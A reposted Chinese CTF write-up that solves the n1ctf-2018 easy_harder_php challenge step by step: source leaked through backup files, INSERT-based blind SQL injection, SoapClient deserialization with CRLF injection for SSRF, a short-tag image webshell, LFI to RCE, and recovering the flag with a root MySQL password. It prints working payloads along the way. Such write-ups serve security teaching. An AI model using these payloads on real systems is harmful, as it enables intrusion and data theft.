一串反引号,十层突破:n1ctf‑2018‑easy_harder_php完整利用链

admin 2026-08-27 05:04:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析了n1ctf-2018-easyharderphp挑战的完整利用链,从备份文件泄露发现SQL注入点,通过多行INSERT注入和布尔盲注获取admin密码。利用SoapClient反序列化与CRLF注入实现SSRF,伪造请求登录admin。随后通过短标签<?=绕过文件清理脚本上传图片马,结合LFI包含实现RCE。最终从MySQL数据库而非环境变量中溯源获取flag。关键点包括反引号转单引号注入、SoapClient的__call触发、CRLF注入伪造HTTP请求、以及短标签绕过stripos检查。 综合评分: 89 文章分类: CTF,WEB安全,渗透测试,漏洞分析,红队


一串反引号,十层突破:n1ctf‑2018‑easy_harder_php 完整利用链

mb_dcvvjyqc mb_dcvvjyqc

看雪学苑

2026年8月26日 18:06 上海

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

目标:看雪 KCTF n1ctf-2018-easy_harder_php(Nu1L),PHP 5.5.9 + Apache 2.4.7 + MySQL,动态 Docker 靶机

结果:flag{9afddef5-5650-4032-9011-591e203e8223}

阅读本文你将获得:一条从 ~ 备份文件 → SQL 注入盲注 → SoapClient 反序列化 SSRF → 短标签图片马上传 → LFI 包含 RCE → 启动脚本溯源 flag 的完整链路,以及我在每层踩过的坑与排错方法。

#

0

题面:一个”反引号变单引号”的拼写错误

平台给了一个 :81 端口的 PHP 站点,入口是登录页。习惯性试了试常见备份文件,没想到直接命中:

GET /index.php~ &nbsp; &nbsp; &nbsp; &nbsp;→ 200, 168 字节, PHP 源码
GET /config.php~ &nbsp; &nbsp; &nbsp; → 200, 4678 字节, PHP 源码
GET /user.php~ &nbsp; &nbsp; &nbsp; &nbsp; → 200, 7234 字节, PHP 源码

Apache 对 ~ 备份文件不做任何处理,直接当静态文件吐出。三个文件把整套业务逻辑摊开——这个题的灵魂全在 user.php 的 Db::get_column()

private&nbsp;function&nbsp;get_column($columns){
if(is_array($columns))
$column&nbsp;=&nbsp;' `'.implode('`,`',$columns).'` ';
else
$column&nbsp;=&nbsp;' `'.$columns.'` ';
return&nbsp;$column;
}

注入根因get_column 给列名套上反引号,而 insert() 里又用 preg_replace('/([^,]+)/’,”{1}\”,this->get_column(values))‘把反引号∗∗替换成单引号∗∗——替换发生在SQL拼接之前。所以任何进入‘values))把反引号\*\*替换成单引号\*\*——替换发生在 SQL 拼接之前。所以任何进入values))‘把反引号∗∗替换成单引号∗∗——替换发生在SQL拼接之前。所以任何进入‘values的、含反引号的字符串,都会被"洗"成单引号注入点。

publish()里 signature 字段原样进$values`:

$db->insert(array('userid','username','signature','mood'),'ctf_user_signature',
array($this->userid,$this->username,$_POST['signature'],$mood));

signature 只被 addslashes 处理(addsla_all()),引号会被转义,但反引号原样保留。反引号被 preg_replace 洗成单引号 → 单引号被 addslashes 转义过 → 但替换发生在 addslashes 之后……于是单引号在替换时”复活”了。这就是整个题的地基。

1

多行 INSERT 注入:让子查询真正执行

注入点在 INSERT INTO ctf_user_signature(...) VALUES ('...','...','SIGNATURE','...')

把 signature 构造成:

x`,`y`),(`2`,`u`,(SUBQUERY),`m`),(`3`,`n`,`o`,`p`)#

洗完之后变成:

... VALUES ('x','y'),(`2`,`u`,(SUBQUERY),'m'),('3','n','o','p')#

即一次插入三行:第 1 行是我自己的正常签名(保证不破坏业务),第 2 行的第 3 列放裸 SQL 子查询(被反引号对保护,不参与 preg_replace 的替换),# 注释掉后面的语句。

踩坑 1:第 1 行的 mood 列必须塞合法的 Mood 序列化。 一开始我写 `x`,`y`)#,把 y 写进 mood 列,showmess() 里 unserialize('y') 直接失败,index 页 500,整个注入通道被污染,排查了半天。

正确做法是第 1 行 mood 给一个真的 Mood 对象序列化:

$mood_ser&nbsp;=&nbsp;'O:4:"Mood":3:{s:4:"mood";i:1;s:2:"ip";s:1:"1";s:4:"date";i:1;}';
$sig&nbsp;="x`,`"&nbsp;.&nbsp;$mood_ser&nbsp;.&nbsp;"`),(`2`,`u`,(SUBQUERY),`m`),(`3`,`n`,`o`,`p`)#";

踩坑 2:第 2 行的 userid 必须等于我自己的 userid。showmess() 查询 WHERE userid = $this->userid,一开始硬编码 2,平台 userid 是共享自增的,永远不命中,SoapClient 从来没被触发。

用布尔盲注拿自己的 userid 后再拼:

$sig = "x`,`" . $mood_ser . "`),(`" . $my_uid . "`,`u`,(SUBQUERY),`m`),(`3`,`n`,`o`,`p`)#";

布尔盲注通道:子查询 (select if(COND,1,(select 1 union select 2))) —— 真时是合法单值(INSERT 成功,返回 OK),假时是 2 行子查询(INSERT 报错,返回 ERR)。

这个通道非常稳定,全靠它把 admin 的密码 md5 逐字符挖出来:

admin 密码 md5 = 2533f492a796a3227b0c6f91d102cc36
→ 还原明文 = nu1ladmin

#

2

admin 登录限 127.0.0.1:一道 IP 墙

密码有了,但登录时:

POST /index.php?action=login &nbsp;(username=admin&password=nu1ladmin&code=xxx)
→ You can only login at the usual address

源码说得很清楚:

if&nbsp;($user[4] ==&nbsp;'0'&nbsp;&& $user[2] !== get_ip())
die("You can only login at the usual address");

admin 的 ip = 127.0.0.1allow_diff_ip = 0,而 get_ip() 就是 $_SERVER['REMOTE_ADDR']只有 REMOTE_ADDR 是 127.0.0.1 的请求才能登录 admin。直接伪造 X-Forwarded-For: 127.0.0.1 无效(Apache 没配 mod_remoteip,REMOTE_ADDR 只看 TCP 源地址)。

要”从 127.0.0.1 发请求”,只能靠 SSRF。而 showmess() 恰好有一个反序列化触发点:

$mood&nbsp;= unserialize($row[2]);
$country&nbsp;=&nbsp;$mood->getcountry(); &nbsp;&nbsp;//Mood::getcountry() 里 file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip)

如果 mood 列反序列化出来的是 SoapClient 对象,getcountry() 是它的不存在方法,会走 __call → do_soap_call → __doRequest,向 SoapClient 的 location 发起一次真实的 HTTP 请求——这就是 SSRF

3

SoapClient 反序列化 + CRLF 注入:伪造登录请求

PHP 5.5 的 SoapClient 序列化属性是 public 的,且 _user_agent 带下划线(11 字符)。

最小触发构造:

O:10:"SoapClient":3:{
&nbsp; s:3:"uri";s:1:"x";
&nbsp; s:8:"location";s:NN:"http://127.0.0.1/index.php?action=login";
&nbsp; s:11:"_user_agent";s:MM:"<CRLF注入串>";
}

make_http_soap_request 生成请求头时会原样使用 _user_agent 的值,所以在这里注入 \r\n 就能伪造整段 HTTP 头 + 提前闭合头部 + 塞入自定义 body:

User-Agent: x
Content-Type: application/x-www-form-urlencoded &nbsp; &nbsp; &nbsp; &nbsp;← 伪造,覆盖 SOAP 的 text/xml
Cookie: PHPSESSID=<目标session> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 伪造,让 admin 登录到这个 session
Content-Length: 66 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 覆盖 SoapClient 自己的 Content-Length
[空行]
username=admin&password=nu1ladmin&code=<CODE> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ← 伪造 body

踩坑 3:password 必须传明文。login() 里 $password = md5($_POST['password']),我第一次把 md5 值塞进 body,结果服务器对 md5 值再算一次 md5,永远匹配不上——卡了很久才发现这个”二次哈希”陷阱。

踩坑 4:验证码 code 的竞态。views/login 每次 GET 都会刷新 $_SESSION['code'],而 code 是 substr(md5(?),0,5) 的 4 位爆破。一开始用 LFI 读 session 文件拿 code 再 POST,十次有八次报 code erroar。最后发现最稳的方式:用一个”未登录的新 session”,GET login 拿 hint → 爆破 code → 立即 POST(同一个 code 在同一秒内不会失效)。因为目标 session 全程没有别的请求去刷新它,SoapClient 的伪造 POST 到达时 code 依然匹配。

踩坑 5(本靶机最关键的坑):location 的端口。 旧靶机上 location 用 http://127.0.0.1:81/... 死活不通(TCP 连接建立但请求没到应用,Apache 81 端口没有 vhost)。平台回收换新靶机后,把 location 改成 http://127.0.0.1/index.php?action=login(80 端口,应用 vhost 所在),一次就通了。

触发后读目标 session:

code|s:5:"78177";is_admin|i:1;userid|s:1:"1";username|s:5:"admin";

admin 登录成功。 至此 SSRF 反序列化链闭环。

4

文件上传:<?=短标签躲过清理脚本

admin 的 publish() 走上传分支。上传逻辑:

$file_type = $file['type'];
if($file_type!="image/jpeg"&nbsp;&& $file_type!='image/pjpeg')&nbsp;die("file type invalid");
...
$file_true_name = $file_true_name.time().rand(1,100).'.jpg'; &nbsp;&nbsp;//&nbsp;文件名 = 名称+时间戳+随机数(1-100)+.jpg
$move_to_file =&nbsp;"/app/adminpic/".$file_true_name;
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh'); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//&nbsp;含 <?php 就清理

两个关键点:

  • 文件名可爆破

    <名称><时间戳><rand(1-100)>.jpg,rand 只有 100 种可能,时间戳窗口 ±4 秒,LFI 爆破 100×9 = 900 次请求足够。

  • clean_danger.sh 只查 <?php 子串

    stripos,不区分大小写):

#!/bin/bash
cd&nbsp;/app/adminpic/
rm&nbsp;*.jpg

绕过:用 <?= 短标签。<?= 是 PHP 5.4+ 永远可用的输出标签,不含 <?php 子串,stripos 查不到,文件不会被删。

图片马:

\xff\xd8\xff\xe0...JFIF... &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;←&nbsp;JPEG&nbsp;头,骗过&nbsp;Content-Type&nbsp;检查
<?=@shell_exec('COMMAND');?>

#

5

LFI 包含图片马:RCE

index.php 的 require_once 'views/'.$_GET['action'] 是经典 LFI。包含上传的图片马:

GET /index.php?action=../../../app/adminpic/sh<时间戳><rand>.jpg

<?= 被执行,命令输出回显在页面里。爆破脚本几分钟内命中 sh178624023488.jpg,RCE 确认:

md5(12345) →&nbsp;827ccb0e... &nbsp; ← 短标签执行成功

踩坑 6:payload 别带单引号嵌套。 第一次把 find / -name '*flag*' 塞进 shell_exec('...'),单引号把 PHP 字符串炸了,静默失败。命令内要用双引号,外层 PHP 用单引号;或者外层用双引号(注意 $ 变量解析)。

6

溯源 flag:环境变量是假的,MySQL 才是真的

RCE 之后开始找 flag:

  • /flag

    /flag.txt/app/flag*/home/nu1lctf/flag* —— 全都不存在

  • 全盘 grep -r "flag{" —— 无结果

  • 环境变量 env —— FLAG=not_flag

环境变量里的 FLAG 值居然是 not_flag——一个明摆着的假 flag。正当我以为这题是”拿不到 flag 的摆烂题”时,ls -la / 发现了根目录的 /run.sh(容器启动脚本)

# initialize database
mysqld_safe --skip-grant-tables&
mysql -uroot -e&nbsp;"use mysql;UPDATE user SET password=PASSWORD('Nu1Lctf%#~:p') WHERE user='root';FLUSH PRIVILEGES;"
...
mysql -e&nbsp;"USE flag;INSERT INTO flag (flag) VALUES('$FLAG');"&nbsp;-uroot -pNu1Lctf\%\#\~:p
export&nbsp;FLAG=not_flag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 注入完成后环境变量才被覆盖成假值!

真相大白:平台启动时把真实 $FLAG先写进 MySQL 的 flag 库,然后才把环境变量覆盖成 not_flag 防泄露。所以真实 flag 在数据库里,而且:

  • 应用的 Nu1L 用户看不到 flag 库(只授权了 nu1lctf 库,show databases 只有 information_schema + nu1lctf)
  • 但 root 密码明文写在 run.sh 里Nu1Lctf%#~:p

最后一步,用 root 连库:

mysql -uroot -p'Nu1Lctf%#~:p'&nbsp;-e&nbsp;'USE flag; SELECT * FROM flag;'
id&nbsp; &nbsp; &nbsp; flag
0 &nbsp; &nbsp; &nbsp; flag{9afddef5-5650-4032-9011-591e203e8223}

FLAG 到手。

#

7

踩坑清单(按时间线)

看雪ID:mb_dcvvjyqc

https://bbs.kanxue.com/user-home-946087.htm

*本文为看雪论坛优秀文章,由 mb_dcvvjyqc 原创,转载请注明来自看雪社区

第十届安全开发者峰会【议题征集】-欢迎投稿

往期推荐

从 r0capture 到 eCapture:Hermes Agent 自动抓包在真实任务里的价值

Kali 下 Android Studio 无法输入中文的问题排查与解决

Intel 酷睿 CPU Management Engine 固件研究与分析逆向:实战DCI链接与ME解锁尝试

记一次入门级DexVMP分析

DirtyFrag浅析及一条新的攻击路径

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 mbdcvvjyqc mbdcvvjyqc《一串反引号,十层突破:n1ctf‑2018‑easyharderphp 完整利用链》

评论:0   参与:  0